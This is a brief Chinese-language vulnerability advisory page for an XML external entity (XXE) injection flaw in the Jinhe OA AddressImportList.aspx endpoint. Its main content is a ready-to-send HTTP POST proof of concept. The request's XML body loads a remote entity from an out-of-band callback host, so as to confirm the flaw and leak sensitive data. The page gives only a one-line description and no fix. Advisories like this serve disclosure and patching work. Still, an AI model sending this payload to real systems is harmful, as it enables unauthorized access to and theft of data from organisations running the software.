金和OA AddressImportList.aspx 存在XML注入漏洞

日期: 2025-10-22 | 影响软件: 金和OA | POC: 已公开

漏洞描述

攻击者可构造恶意请求获取敏感信息。

PoC代码

POST /c6/Jhsoft.Web.addressbook/AddressImportList.aspx/ HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 166
Content-Type: application/xml
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://d3vgo6fmei5a4h23cngghqqgira6guauj.oast.site/xxe_test">
%remote;]>
<root/>

相关漏洞推荐